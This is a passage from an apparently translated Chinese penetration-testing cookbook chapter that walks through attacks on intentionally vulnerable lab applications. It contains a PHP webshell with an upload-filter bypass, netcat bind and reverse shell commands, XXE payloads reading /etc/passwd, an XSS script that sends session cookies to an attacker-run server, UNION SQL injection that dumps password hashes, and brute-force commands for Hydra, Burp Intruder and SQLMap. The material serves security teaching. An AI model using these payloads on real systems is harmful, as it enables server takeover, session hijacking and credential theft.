Kali Linux Web 滲透測試秘籍 第六章 利用 -- 低懸的果實

第六章 利用 -- 低懸的果實

作者:Gilberto Najera-Gutierrez

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

簡介

這章開始我們會開始涉及滲透測試的的利用層面。和漏洞評估的主要不同是,漏洞評估中測試者識別漏洞(多數(shù)時間使用自動化掃描器)和提出如何減輕它們的建議。而滲透測試中測試者作為惡意攻擊者并嘗試利用檢測到的漏洞,并得到最后的結(jié)果:整個系統(tǒng)的淪陷,內(nèi)部網(wǎng)絡(luò)訪問,敏感數(shù)據(jù)泄露,以及其它。同時,要當心不要影響系統(tǒng)的可用性或者為真正的攻擊者留下后門。

之前的章節(jié)中,我們已經(jīng)涉及了如何檢測 Web 應(yīng)用中的一些漏洞。這一章中我們打算了解如何利用這些漏洞并使用它們來提取信息和獲得應(yīng)用及系統(tǒng)受限部分的訪問權(quán)。

6.1 惡意使用文件包含和上傳

我們在第四章中看到,文件包含漏洞在開發(fā)者對生成文件路徑的輸入校驗不當,并使用該路徑來包含源代碼文件時出現(xiàn)。服務(wù)端語言的現(xiàn)代版本,例如 PHP 自 5.2.0 起,將一些特性默認關(guān)閉,例如遠程文件包含,所以 2011 年起就不大可能找到 RFI 了。

這個秘籍中,我們會上傳一些惡意文件,其中之一是 Webshell(可用于在服務(wù)器中執(zhí)行命令的頁面),之后使用本地文件包含來執(zhí)行它。

準備

這個秘籍中,我們會使用 vulnerable_vm 中的 DVWA ,并以中等安全級別配置,所以讓我們將其配置起來。

  1. 訪問http://192.168.56.102/dvwa

  2. 登錄。

  3. 將安全級別設(shè)置為中。訪問DVWA Security,在組合框中選擇medium并點擊Submit

我們會上傳一些文件給服務(wù)器,但是你需要記住它們儲存在哪里,以便之后調(diào)用。所以,在 DVWA 中訪問Upload并上傳任何 JPG 圖像。如果成功了,他會告訴你文件上傳到了../../hackable/uploads/。現(xiàn)在我們知道了用于儲存上傳文件的相對路徑。這對于秘籍就足夠了。

我們也需要準備好我們的文件,所以讓我們創(chuàng)建帶有一下內(nèi)容的文本文件:

<? 
system($_GET['cmd']); 
echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>'; 
?>

將其保存為webshell.php。我們需要另一個文件,創(chuàng)建rename.php并輸入下列代碼:

<? 
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php'); 
?>

這個文件會接受特殊圖像文件(webshell.jpg)并將其重命名為webshell.php

操作步驟

  1. 首先,讓我們嘗試上傳我們的 webshell。在 DVWA 中訪問Upload之后嘗試上傳webshell.php,像這樣:

    于是,這里對于我們能夠上傳的東西有個驗證。這意味著我們需要上傳圖標文件,或更精確來說,帶有.jpg.gif.png的圖像文件。這就是為什么我們需要重命名腳本來還原原始文件的.php擴展,便于我們執(zhí)行它。

  2. 為了避免驗證錯誤,我們需要將我們的 PHP 文件重命名為有效的擴展名。在終端中,我們需要訪問 PHP 文件所在目錄并創(chuàng)建它們的副本:

    cp rename.php rename.jpg 
    cp webshell.php webshell.jpg
    
  3. 現(xiàn)在,讓我們返回 DVWA 并嘗試上傳二者:

  4. 一旦兩個 JPG 文件都上傳了,我們使用本地文件包含漏洞過來執(zhí)行rename.jpg。訪問文件包含部分并利用這個漏洞來包含../../hackable/uploads/rename.jpg

    我們并沒有得到這個文件執(zhí)行的任何輸出,我們需要假設(shè)webshell.jpg命名為webshell.php

  5. 如果它能工作,我們應(yīng)該能夠包含../../hackable/uploads/ webshell.php,讓我們試試:

  6. 在左上角的文本框中,輸入/sbin/ifconfig并按下回車:

    并且它能夠工作。就像圖片中那樣,服務(wù)器的 IP 是192.168.56.102。現(xiàn)在,我們可以在服務(wù)器中執(zhí)行命令,通過將它們鍵入到文本框中,或者為cmd參數(shù)設(shè)置不同的值。

工作原理

在上傳有效 JPG 文件時,我們所做的第一個測試是為了發(fā)現(xiàn)上傳文件保存的路徑,便于我們可以在rename.php中,以及表單的action中使用這個路徑。

使用重命名腳本有兩個重要原因:首先,上傳頁面只允許 JPG 文件,所以我們的腳本需要這個擴展名,其次,我們需要帶參數(shù)調(diào)用我們的 webshell(要執(zhí)行的命令),而我們從 Web 服務(wù)器調(diào)用圖片時不能帶參數(shù)。

PHP 中的system()函數(shù)是攻擊核心,它所做的是,執(zhí)行系統(tǒng)命令并顯示輸出。這允許我們將 webshell 文件從.jpg重命名為.php文件并執(zhí)行我們指定為 GET 參數(shù)的命令。

更多

一旦我們上傳并執(zhí)行了服務(wù)端代碼,我們有很多選擇來攻陷服務(wù)器,例如,下列代碼可以在綁定的 shell 中調(diào)用:

nc -lp 12345 -e /bin/bash

它打開服務(wù)器的 TCP 12345 端口并監(jiān)聽連接。連接建立之后,它會將接收的信息作為輸入來執(zhí)行/bin/bash,并把輸出通過網(wǎng)絡(luò)發(fā)給被連接的主機(攻擊者主機)。

也可以讓服務(wù)器下載一些惡意程序,例如提權(quán)利用,執(zhí)行它來獲得更高權(quán)限。

6.2 利用 OS 命令注入

在上一個秘籍中,我們看到 PHP 的system()如何用于在服務(wù)器中執(zhí)行 OS 命令。有時開發(fā)者會使用類似于它的指令,或者相同的功能來執(zhí)行一些任務(wù),有時候他們會使用無效的用戶輸入作為參數(shù)來執(zhí)行命令。

這個秘籍中,我們會利用命令注入漏洞來提取服務(wù)器中的重要信息。

操作步驟

  1. 登錄 DVWA 訪問Command Execution

  2. 我們會看到Ping for FREE表單,試試它吧。Ping 192.168.56.1(在主機網(wǎng)絡(luò)中,我們的 Kali Linux 的 IP)。

    這個輸出看起來像是直接的 ping 命令的輸出。這表明服務(wù)器使用 OS 命令來執(zhí)行 ping。所以它可能存在 OS 命令注入。

  3. 讓我們嘗試注入一個非常簡單的命令,提交下列代碼:

    192.168.56.1;uname -a.
    

    我們可以看到uname命令的輸出就在 ping 的輸出之后。這里存在命令注入漏洞。

  4. 如果不帶IP地址會怎么樣呢:;uname -a:

  5. 現(xiàn)在,我們打算獲取服務(wù)端的反向 shell。首先我們必須確保服務(wù)器擁有所需的任何東西。提交下列代碼:;ls /bin/nc*

    所以我們擁有多于一種版本的 Netcat,我們打算使用它來生成連接。nc的OpenBSD版本不支持執(zhí)行連接命令,所以我們使用傳統(tǒng)的版本。

  6. 下一步是監(jiān)聽 Kali 主機的連接。打開終端并執(zhí)行下列命令:

    nc -lp 1691 -v
    
  7. 返回瀏覽器中,提交這個:;nc.traditional -e /bin/bash 192.168.56.1 1691 &

    ![](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh/raw/master/img/6-2-5.jpg

    我們的終端會對連接做出反應(yīng)。我們現(xiàn)在可以執(zhí)行非交互式命令并檢查它們的輸出。

工作原理

就像 SQL 注入的例子那樣,命令注入漏洞的來源于弱輸入校驗機制,以及使用用戶提供的數(shù)據(jù)來拼接之后會用做 OS 命令的字符串。如果我們查看剛剛攻擊的頁面源代碼(每個 DVWA 頁面的右下角會有個按鈕),會看到這些:

<?php
if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];
    
    // Determine OS and execute the ping command.    
    if (stristr(php_uname('s'), 'Windows NT')) {
        $cmd = shell_exec( 'ping  ' . $target );        
        echo '<pre>'.$cmd.'</pre>';            
        
    } else {             
        $cmd = shell_exec( 'ping  -c 3 ' . $target );        
        echo '<pre>'.$cmd.'</pre>';        
    }    
} 
?>

我們可以看到,它直接將用戶的輸入附加到 ping 命令后面。我們所做的僅僅是添加一個分號,系統(tǒng)的 shell 會將其解釋為命令的分隔符,以及下一個我們打算執(zhí)行的命令。

在成功執(zhí)行命令之后,下一步就是驗證服務(wù)器是否擁有 Netcat。它是一個能夠建立網(wǎng)絡(luò)連接的工具,在一些版本中還可以在新連接建立之后執(zhí)行命令。我們看到了服務(wù)器的系統(tǒng)擁有兩個不同版本的 Netcat,并執(zhí)行了我們已知支持所需特性的版本。

之后我們配置攻擊系統(tǒng)來監(jiān)聽 TCP 1691 端口連接(也可以是任何其它可用的 TCP 端口),然后我們讓服務(wù)器連接到我們的機器,通過該端口并在連接建立時執(zhí)行/bin/bash(系統(tǒng) shell)。所以我們通過連接發(fā)送的任何東西都會被服務(wù)器接收作為 shell 的輸入。

也可以讓服務(wù)器下載一些惡意程序,例如提權(quán)利用,執(zhí)行它來獲得更高權(quán)限。

6.3 利用 XML 外部實體注入

XML 是主要用于描述文檔或數(shù)據(jù)結(jié)構(gòu)的格式,例如,HTML 是XML 的實現(xiàn),它定義了頁面和它們的關(guān)系的結(jié)構(gòu)和格式。

XML 實體類似于定義在 XML 結(jié)構(gòu)中的數(shù)據(jù)結(jié)構(gòu),它們中的一些能夠從文件系統(tǒng)中讀取文件或者甚至是執(zhí)行命令。

這個秘籍中,我們會利用 XML 外部實體注入漏洞來在服務(wù)器中執(zhí)行代碼。

準備

建議你開始之前遵循上一個秘籍中的步驟。

操作步驟

  1. 瀏覽http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php

  2. 上面寫著它是個 XML 校驗器。讓我們嘗試提交測試示例來觀察發(fā)生什么。在 XML 輸入框中,輸入<somexml><message>Hello World</message></ somexml>,并點擊Validate XML

  3. 現(xiàn)在讓我們觀察它是否正確處理了實體,提交系列代碼:

    <!DOCTYPE person [  
        <!ELEMENT person ANY>  
        <!ENTITY person "Mr Bob"> 
    ]> 
    <somexml><message>Hello World &person;</message></somexml>
    

    這里,我們僅僅定義了實體并將值"Mr Bob"賦給它。解析器在展示結(jié)果時解釋了實體并替換了它的值。

  4. 這就是內(nèi)部實體的使用,讓我們嘗試外部實體:

    <!DOCTYPE fileEntity [  
        <!ELEMENT fileEntity ANY>  
        <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> 
    ]> 
    <somexml><message>Hello World &fileEntity;</message></somexml>
    

    使用這個技巧,我們就可以提取系統(tǒng)中的任何文件,只要它們可以在 Web 服務(wù)器的運行環(huán)境被用戶讀取。

    我們也可以使用 XEE 來加載頁面。在上一個秘籍中,我們已經(jīng)設(shè)法將 webshell 上傳到服務(wù)器中,讓我們試試吧。

    <!DOCTYPE fileEntity [ 
        <!ELEMENT fileEntity ANY> 
        <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig"> 
    ]> 
    <somexml><message>Hello World &fileEntity;</message></somexml>
    

工作原理

XML 擁有叫做實體的特性。XML 實體是與值關(guān)聯(lián)的名稱,每次實體在文檔中使用的時候,它都會在 XML文件處理時替換為值。使用它以及不同的可用包裝器(file://來加載系統(tǒng)文件,或者http://來加載 URL),我們就可以通過輸入校驗和XML 解析器的配置,惡意使用沒有合理安全措施的實現(xiàn),并提取敏感數(shù)據(jù)或者甚至在服務(wù)器中執(zhí)行系統(tǒng)命令。

這個秘籍中,我們使用file://包裝器來使解析器加載服務(wù)器中的任意文件,之后,使用http://包裝器,我們調(diào)用了網(wǎng)頁,它碰巧是同一個服務(wù)器中的 webshell,并執(zhí)行了一些命令。

更多

這個漏洞也可以用于發(fā)起 DoS 攻擊,叫做“Billion laughs”,你可以在維基百科中閱讀更多信息:https://en.wikipedia.org/wiki/Billion_laughs

PHP 也支持不同的 XML 實體包裝器(類似于file://http://),如果它在服務(wù)器中被開啟,也會在不需要上傳文件的情況下允許命令執(zhí)行,它就是expect://。你可以在這里找到更多它和其它包裝器的信息:http://www.php.net/manual/en/wrappers.php

另見

XXE 漏洞如何在世界上最流行的站點上發(fā)現(xiàn)的例子,可以在這里查看:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution

6.4 使用 Hydra 爆破密碼

Hydra 是網(wǎng)絡(luò)登錄破解器,也就是在線的破解器,這意味著它可以用于通過爆破網(wǎng)絡(luò)服務(wù)來發(fā)現(xiàn)登錄密碼。爆破攻擊嘗試猜測正確的密碼,通過嘗試所有可能的字符組合。這種攻擊一定能找到答案,但可能要花費數(shù)百萬年的時間。

雖然對于滲透測試者來說,等待這么長時間不太可行,有時候在大量服務(wù)器中測試一小部分用戶名/密碼組合是非常有效率的。

這個秘籍中,我們會使用 Hydra 來爆破登錄頁面,在一些已知用戶上執(zhí)行爆破攻擊。

準備

我們需要擁有用戶名列表,在我們?yōu)g覽 vulnerable_vm 的時候我們在許多應(yīng)用中看到了有效用戶的一些名稱。讓我們創(chuàng)建文本文件users. txt,內(nèi)容如下:

admin 
test 
user 
user1 
john

操作步驟

  1. 我們的第一步是分析登錄請求如何發(fā)送,以及服務(wù)器如何響應(yīng)。我們使用 Burp Suite 來捕獲 DVWA 的登錄請求:

    我們可以看到請求是/dvwa/login.php,它擁有三個參數(shù):usernamepasswordlogin

  2. 如果我們停止捕獲請求,并檢查瀏覽器中的結(jié)果,我們可以看到響應(yīng)是登錄頁面的重定向。

    有效的用戶名/密碼組合不應(yīng)該直接重定向到登錄頁面,而應(yīng)該是其它頁面,例如index.php。所以我們假設(shè)有效登錄會重定向到其它頁面,我們會接受index.php作為用于分辨是否成功的字符串。Hydra 使用這個字符串來判斷是否某個用戶名/密碼被拒絕了。

  3. 現(xiàn)在,我們準備好攻擊了,在終端中輸入下列命令:

    hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt
    

    我們使用這個命令只嘗試了兩個用戶名組合:密碼等于用戶名和密碼為空。我們從這個攻擊之中得到了兩個有效密碼,Hydra中標為綠色。

工作原理

這個秘籍的第一個部分是捕獲和分析請求,用于了解請求如何工作。如果我們考慮登錄頁面的輸出,我們會看到消息“登錄失敗”,并且可以使用這個消息作為 Hydra的輸入來充當失敗的字符串。但是,通過檢查代理的歷史,我們可以看到它出現(xiàn)在重定向之后,Hydra只讀取第一個響應(yīng),所以它并不能用,這也是我們使用login.php作為失敗字符串的原因。

我們使用了多個參數(shù)來調(diào)用 Hydra:

  • 首先是服務(wù)器的 IP 地址。
  • http-form-post:這表明 Hydra 會對 HTTP 表單使用 POST 請求。接下來是由冒號分隔的,登錄頁面的 URL。請求參數(shù)和失敗字符串由&分隔,^USER^^PASS^用于表示用戶名和密碼應(yīng)該在請求中被放置的位置。
  • -L users.txt:這告訴 Hydra 從users.txt文件接收用戶名稱。
  • -e ns:Hydra 會嘗試空密碼并將用戶名作為密碼。
  • -u:Hydra會首先迭代用戶名而不是密碼。這意味著Hydra首先會對單一的密碼嘗試所有用戶名,之后移動到下一個密碼。這在防止賬戶鎖定的時候很有用。
  • -t 2:我們不想讓登錄請求填滿服務(wù)器,所以我們使用兩個線程,這意味著每次兩個請求。
  • -w 30:設(shè)置超時時間,或者等待服務(wù)器響應(yīng)的時間。
  • -o hydra-result.txt:將輸出保存到文本文件中。當我們擁有幾百個可能有效的密碼時這會很實用。

更多

要注意我們沒有使用-P選項來使用密碼列表,或者-x選項來自動生成密碼。我們這樣做是因為爆破 Web 表單產(chǎn)生很大的網(wǎng)絡(luò)流量,如果服務(wù)器對它沒有防護,會產(chǎn)生 DoS 的情況。

不推薦使用大量的密碼在生產(chǎn)服務(wù)器上執(zhí)行爆破或字典攻擊,因為我們會使服務(wù)器崩潰,阻攔有效用戶,或者被客戶端的保護機制阻攔。

推薦滲透測試者在執(zhí)行這種攻擊時對每個用戶嘗試四次,來避免被阻攔。例如,我們可以嘗試-e ns,就像這里做的這樣,之后添加-p 123456來測試三種可能性,沒有密碼、密碼和用戶名一樣以及密碼為123456,這是世界上最常見的密碼之一。

6.5 使用 Burp Suite 執(zhí)行登錄頁面的字典爆破

Burp Suite 的 Intruder 能夠?qū)?HTTP 請求的許多部分執(zhí)行模糊測試和爆破攻擊。在執(zhí)行登錄頁面上的字典攻擊時非常實用。

這個秘籍中,我們會使用 Burp Suite 的 Intruder 和 第二章生成的字典來通過登錄獲得訪問權(quán)。

準備

這個秘籍需要字典列表。它可以是來自目標語言的簡單單詞列表,常見密碼的列表,或者我們在第二章“使用 John the Ripper 生成字典”中的列表。

操作步驟

  1. 第一步是設(shè)置 Burp Suite 用作瀏覽器的代理。

  2. 瀏覽http://192.168.56.102/WackoPicko/admin/index.php

  3. 我們會看到登錄頁面,讓我們嘗試和測試用戶名和密碼。

  4. 現(xiàn)在訪問大力的歷史,并查看我們剛剛生成的登錄的 POST 請求:

  5. 右擊它并從菜單中選擇Send to intruder

  6. intruder 標簽頁會高亮,讓我們訪問它之后訪問Positions標簽頁。這里我們會定義請求的哪個部分要用于測試。

  7. 點擊Clear §來清除之前選項的區(qū)域。

  8. 現(xiàn)在,我們已經(jīng)選擇了什么會用作測試輸入。高亮用戶名的值(test),并點擊Add §

  9. 對密碼值執(zhí)行相同操作,并點擊Cluster bomb作為攻擊類型:

  10. 下一步就是定義Intruder 用于對我們所選擇的輸入測試的值。訪問Payloads標簽頁。

  11. 使用寫著Enter a new item的文本框和Add按鈕,使用下列東西來填充列表:

    user 
    john 
    admin 
    alice 
    bob 
    administrator 
    user
    
  12. 現(xiàn)在從Payload Set框中選擇list 2

  13. 我們會使用字典來填充這個列表,點擊Load并選擇字典文件。

  14. 我們現(xiàn)在擁有了兩個載荷集合,并準備好攻擊登錄頁面了。在頂部的菜單中,訪問Intruder | Start attack

  15. 如果我們使用免費版,會出現(xiàn)一個提示框告訴我們一些功能是禁用的。這里,我們可以不使用這些功能,點擊OK

  16. 新的窗口會彈出,并展示攻擊進度。為了分辨成功的登錄,我們需要檢查響應(yīng)長度。點擊Length列來排列結(jié)果,通過不同長度來識別響應(yīng)比較容易。

  17. 如果我們檢查不同長度的結(jié)果,我們可以看到他重定向到了管理主頁,就像下面這樣:

工作原理

Intruder 所做的是,修改請求的特定部分,并使用定義好的載荷替換這些部分的值。載荷可以是這些東西:

  • 簡單列表:來自文件,由剪貼板傳遞或者寫在文本框中的列表。

  • 運行時文件:Intruder 可以在運行時從文件中讀取載荷,所以如果文件非常大,它不會完全加載進內(nèi)存。

  • 數(shù)字:生成一列順序或隨機的數(shù)字,以十進制或十六進制形式。

  • 用戶名生成器:接受郵件地址列表,從中提取可能的用戶。

  • 爆破器:接受字符集并使用它來生成指定長度的所有排列。

這些載荷由Intruder以不同形式發(fā)送,在Positions標簽頁中由攻擊類型指定。攻擊類型在載荷標記中的組合和排列方式上有所不同。

  • Sniper:對于載荷的單一集合,它將每個載荷值放在每個標記位置,一次一個。

  • Battering ram:類似Sniper,它使用載荷的單一集合,不同點是它在每個請求中將所有位置設(shè)置為相同的值。

  • Pitchfork:使用多個載荷集合,并將每個集合中的一個項目放到每個標記位置中。當我們擁有不能混用的預(yù)定義數(shù)據(jù)時,這會非常有用,例如,測試已知的用戶名和密碼。

  • Cluster bomb:測試多個載荷,所以每個可能的排列都可以測試到。

對于結(jié)果,我們可以看到所有失敗嘗試都有相同的響應(yīng),這里是 811 字節(jié)。所以我們假設(shè)成功響應(yīng)的長度應(yīng)該不同(因為它會重定向到用戶主頁)。如果碰巧成功和失敗請求長度相同,我們也可以檢查狀態(tài)碼或者使用搜索框來尋找響應(yīng)中的特定模式。

更多

Kali 包含了非常實用的密碼字典和單詞列表集合,位于/usr/ share/wordlists。一些文件可以在這里找到:

  • rockyou.txt:Rockyou.com在 2010 年被攻破,泄露了多于 14 億的密碼,這個列表包含它們。

  • dnsmap.txt:包含常用的子域名稱,例如內(nèi)部網(wǎng)絡(luò)、FTP或者WWW。在我們爆破 DNS 服務(wù)器時非常實用。

  • ./dirbuster/*dirbuster目錄包含Web 服務(wù)器中常見的文件名稱,這些文件可以在使用DirBuster或 OWASP ZAP 強制瀏覽時使用。

  • ./wfuzz/*:在這個目錄中,我們可以找到用于Web 攻擊的模糊字符串的大量集合,以及爆破文件。

6.6 通過 XSS 獲得會話 Cookie

我們已經(jīng)談?wù)撨^了 XSS,它是現(xiàn)在最常見的 Web 攻擊之一。XSS 可以用于欺騙用戶,通過模仿登錄頁面來獲得身份,或者通過執(zhí)行客戶端命令來收集信息,或者通過獲得會話 cookie 以及冒充在攻擊者的瀏覽器中的正常用戶來劫持會話。

這個秘籍中,我們會利用持久性 XSS 來獲得用戶的會話 Cookie,之后使用這個 cookie 來通過移植到另一個瀏覽器來劫持會話,之后冒充用戶來執(zhí)行操作。

準備

對于這個秘籍,我們需要啟動 Web 服務(wù)器作為我們的 cookie 收集器,所以在我們攻擊之前,我們需要啟動 Kali 中的 Apache,之后在 root 終端中執(zhí)行下列命令:

service apache2 start

在這本書所使用的系統(tǒng)中,Apache 的文檔根目錄位于/var/www/html,創(chuàng)建叫做savecookie.php的文件并輸入下列代碼:

<?php 
$fp = fopen('/tmp/cookie_data.txt', 'a'); 
fwrite($fp, $_GET["cookie"] . "\n"); 
fclose($fp); 
?>

這個 PHP 腳本會收集由 XSS 發(fā)送的所有 cookie。為了確保它能工作,訪問http://127.0.0.1/savecookie.php?cookie=test,并且檢查/tmp/cookie_data.txt的內(nèi)容:

cat /tmp/cookie_data.txt 

如果它顯式了test單詞,就能生效。下一步就是了解 Kali 主機在 VirtualBox 主機網(wǎng)絡(luò)中的地址,執(zhí)行:

ifconfig

對于這本書,Kali 主機 的vboxnet0接口 IP 為 192.168.56.1 。

操作步驟

  1. 我們在這個秘籍中會使用兩個不同的瀏覽器。OWASP Mantra 是攻擊者的瀏覽器,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中,訪問http://192.168.56.102/peruggia/

  2. 讓我們給頁面的圖片添加一條評論,點擊Comment on this picture

  3. 在文本框中輸入下列代碼:

    <script> 
        var xmlHttp = new XMLHttpRequest(); 
        xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true ); 
        xmlHttp.send( null ); 
    </script>
    
  4. 點擊Post

  5. 頁面會執(zhí)行我們的腳本,即使我們看不見任何改動。檢查Cookie 文件的內(nèi)容來查看結(jié)果。在我們的 Kali 主機上,打開終端并執(zhí)行:

    cat /tmp/cookie_data.txt 
    

    文件中會出現(xiàn)新的條目。

  6. 現(xiàn)在,在受害者瀏覽器中訪問http://192.168.56.102/peruggia/

  7. 點擊Login

  8. 輸入admin作為用戶名和密碼,并點擊Login

  9. 讓我們再次檢查Cookie文件的內(nèi)容:

    cat /tmp/cookie_data.txt 
    

    最后一個條目由受害者的瀏覽器中的用戶生成。

  10. 現(xiàn)在在攻擊者的瀏覽器中,確保你沒有登錄,并打開 Cookies Manager+(在 Mantra 的菜單中,Tools | Application Auditing | Cookies Manager+)。

  11. 選擇 192.168.56.102(vulnerable_vm)的PHPSESSID Cookie。并點擊Edit

  12. /tmp/cookie_data.txt復(fù)制最后一個Cookie。之后將其粘貼到Content字段中,像這樣:

  13. 點擊Save,之后點擊Close并在攻擊者的瀏覽器中重新加載頁面。

    現(xiàn)在我們通過持久性 XSS 攻擊劫持了管理員的會話。

工作原理

簡單來說,我們使用應(yīng)用中的 XSS 漏洞來將會話 Cookie 發(fā)送給遠程服務(wù)器,通過 JavaScript HTTP 請求。這個服務(wù)器被配置用于儲存會話 Cookie,之后,我們獲得一個會話 ID,并把它移植到不同的瀏覽器中來劫持驗證用戶的會話。下面,我們來看看每一步如何工作。

我們編寫的 PHP 文件用于在 XSS 攻擊執(zhí)行時保存收到的 COokie。

我們輸入的評論是一個腳本,使用JavaScript 的XMLHttpRequest 對象來向我們的惡意服務(wù)器發(fā)送 HTTP 請求,這個請求由兩步構(gòu)建:

xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );

我們使用 GET 方法打開請求,向http://192.168.56.1/savecookie.php URL添加叫做cookie的參數(shù),它的值儲存在document.cookie中,它是 JavaScript 中儲存cookie值的變量。最后的參數(shù)設(shè)置為true,告訴瀏覽器這是異步請求,這意味著它不需要等待響應(yīng)。

xmlHttp.send( null )

最后的指令將請求發(fā)送給服務(wù)器。

在管理員登錄并查看包含我們所發(fā)送評論的頁面之后,腳本會執(zhí)行,并且管理員的會話 cookie 就儲存在我們的服務(wù)器中了。

最后,一旦我們獲得了有效用戶的會話 cookie,我們可以在瀏覽器中替換我們自己的會話 cookie,之后重新加載頁面來執(zhí)行操作,就像我們是這個用戶一樣。

更多

不僅僅是保存會話 Cookie 到文件,惡意服務(wù)器也可以使用這些cookie 來向應(yīng)用發(fā)送請求來冒充正常用戶,以便執(zhí)行操作,例如添加或刪除評論、上傳圖片或創(chuàng)建新用戶,甚至是管理員。

6.7 逐步執(zhí)行基本的 SQL 注入

我們在第四章了解了如何檢測 SQL 注入。這個秘籍中,我們會利用這個注入,并提取數(shù)據(jù)庫的信息。

操作步驟

  1. 我們已經(jīng)知道了 DVWA 存在SQL 注入的漏洞。所以我們使用 OWASP Mantra 登錄,之后訪問http://192.168.56.102/dvwa/vulnerabilities/ sqli/

  2. 在檢測 SQL 注入存在之后,下一步就是查詢,準確來說就是結(jié)果有多少列。在 ID 框中輸入任何數(shù)字之后點擊Submit

  3. 現(xiàn)在,打開 HackBar(按下F9)并點擊Load URL。地址欄中的 URL 應(yīng)該出現(xiàn)在 HackBar 內(nèi)。

  4. 在 HackBar 中,我們將id參數(shù)的值替換為1' order by 1 -- ',并點擊Execute

  5. 我們通過執(zhí)行請求,持續(xù)增加order數(shù)字后面的值,直到發(fā)生錯誤。這里例子中,它在3的時候發(fā)生。

  6. 現(xiàn)在,我們知道了請求由兩列。讓我們嘗試是否能使用 UNION 語句來提取一些信息。現(xiàn)在將id的值設(shè)為1' union select 1,2 -- '并點擊Excecute

  7. 這意味著我們可以在 UNION 查詢中請求兩個值。那么試試 DBMS 的版本和數(shù)據(jù)庫用戶如何呢?將id設(shè)為1' union select @@version,current_user() -- '并點擊Execute

  8. 讓我們查找一些有關(guān)的東西,例如應(yīng)用的用戶。首先,我們需要定位用戶表,將id設(shè)置為1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '

  9. 好的,我們知道了數(shù)據(jù)庫(或Schema)叫做dvwa,我們要查找的表叫做users。因為我們只有兩個地方來設(shè)置值,我們需要知道的哪一列對我們有用。將id設(shè)置為1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '

  10. 最后,我們確切知道了要請求什么,將id設(shè)為1' union select user, password FROM dvwa.users -- '

    First name字段中,我們得到了應(yīng)用的用戶名,在Surname字段匯總,我們得到了每個用戶的密碼哈希。我們可以將這些哈希復(fù)制到我呢本文呢減重,并且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來破解。

工作原理

在我們的第一次注入,1' order by 1 -- '1' order by 3 -- '中,我們使用 SQL 語言的特性,它允許我們通過特定的字段或類,使用它的編號來排列結(jié)果。我們用它來產(chǎn)生錯誤,于是能夠知道查詢一共有多少列,便于我們將其用于創(chuàng)建 UNION 查詢。

UNION 查詢語句用于連接兩個擁有相同列數(shù)量的查詢,通過注入這些我們就可以查詢數(shù)據(jù)庫中幾乎所有東西。這個秘籍中,我們首先檢查了它是否像預(yù)期一樣工作,之后我們將目標設(shè)置為users表,并設(shè)法獲得它。

第一步是弄清數(shù)據(jù)庫和表的名稱,我們通過查詢information_schema數(shù)據(jù)庫來實現(xiàn),它是 MySQL 中儲存所有數(shù)據(jù)庫、表和列信息的數(shù)據(jù)庫。

一旦我們知道了數(shù)據(jù)庫和表的名稱,我們在這個表中查詢所有列,來了解我們需要查找哪一列,它的結(jié)果是userpassword

最后,我們注入查詢來請求dvwa數(shù)據(jù)庫的users表中的所有用戶名和密碼。

6.8 使用 SQLMap 發(fā)現(xiàn)和利用 SQL 注入

我們已經(jīng)在上一個秘籍中看到,利用 SQL 注入是個繁瑣的步驟。SQLMap 是個命令行工具,包含在 Kali 中,可以幫我們自動化檢測和利用 SQL 注入。它帶有多種技巧,并支持多種數(shù)據(jù)庫。

這個秘籍中,我們會使用 SQLMap 來檢測和利用 SQL 注入漏洞,并用它獲得應(yīng)用的用戶名和密碼。

操作步驟

  1. 訪問http://192.168.56.102/mutillidae

  2. 在 Mutillidae 的菜單中,訪問OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info

  3. 嘗試任何用戶名和密碼,例如userpassword之后點擊View Account Details

  4. 登錄會失敗,但是我們對 URL 更感興趣。訪問地址欄并將完整的 URL 復(fù)制到剪貼板。

  5. 現(xiàn)在,打開終端窗口,輸入下列命令:

    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb
    

    你可以注意到,-u參數(shù)就是所復(fù)制的 URL 的值。-p告訴 SQLMap 我們打算在用戶名參數(shù)中查找注入。一旦漏洞被利用,我們想讓它獲得當前數(shù)據(jù)庫用戶名和數(shù)據(jù)庫的名稱。我們只打算獲得這兩個值,因為我們只想判斷這個 URL 的username參數(shù)是否存在 SQL 注入。

  6. 一旦 SQLMap 檢測到應(yīng)用所使用的 DBMS,它會詢問我們是否跳過檢測其它 DBMS 的步驟,以及是否打算包含所有特定系統(tǒng)的測試。即使它們在當前的配置等級和風險之外。這里,我們回答Ues來跳過其它系統(tǒng),以及No來包含所有測試。

  7. 一旦我們指定的參數(shù)中發(fā)現(xiàn)了漏洞,SQLMap 會詢問我們是否打算測試其它參數(shù),我們回答No,之后觀察結(jié)果:

  8. 如果我們打開獲得用戶名和密碼,類似于我們在上一個秘籍那樣,我們需要知道含有這些信息的表名稱。在終端中執(zhí)行下列代碼:

    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables
    

    SQLMap 會保存所執(zhí)行的注入日志,所以第二次攻擊會花費更少的時間。你可以看到,我們指定了要提取信息(nowasp)的數(shù)據(jù)庫,并告訴 SQLMap 我們想獲取這個數(shù)據(jù)庫的表名稱列表。

  9. accounts表使含有我們想要的信息的表之一。讓我們轉(zhuǎn)儲內(nèi)容:

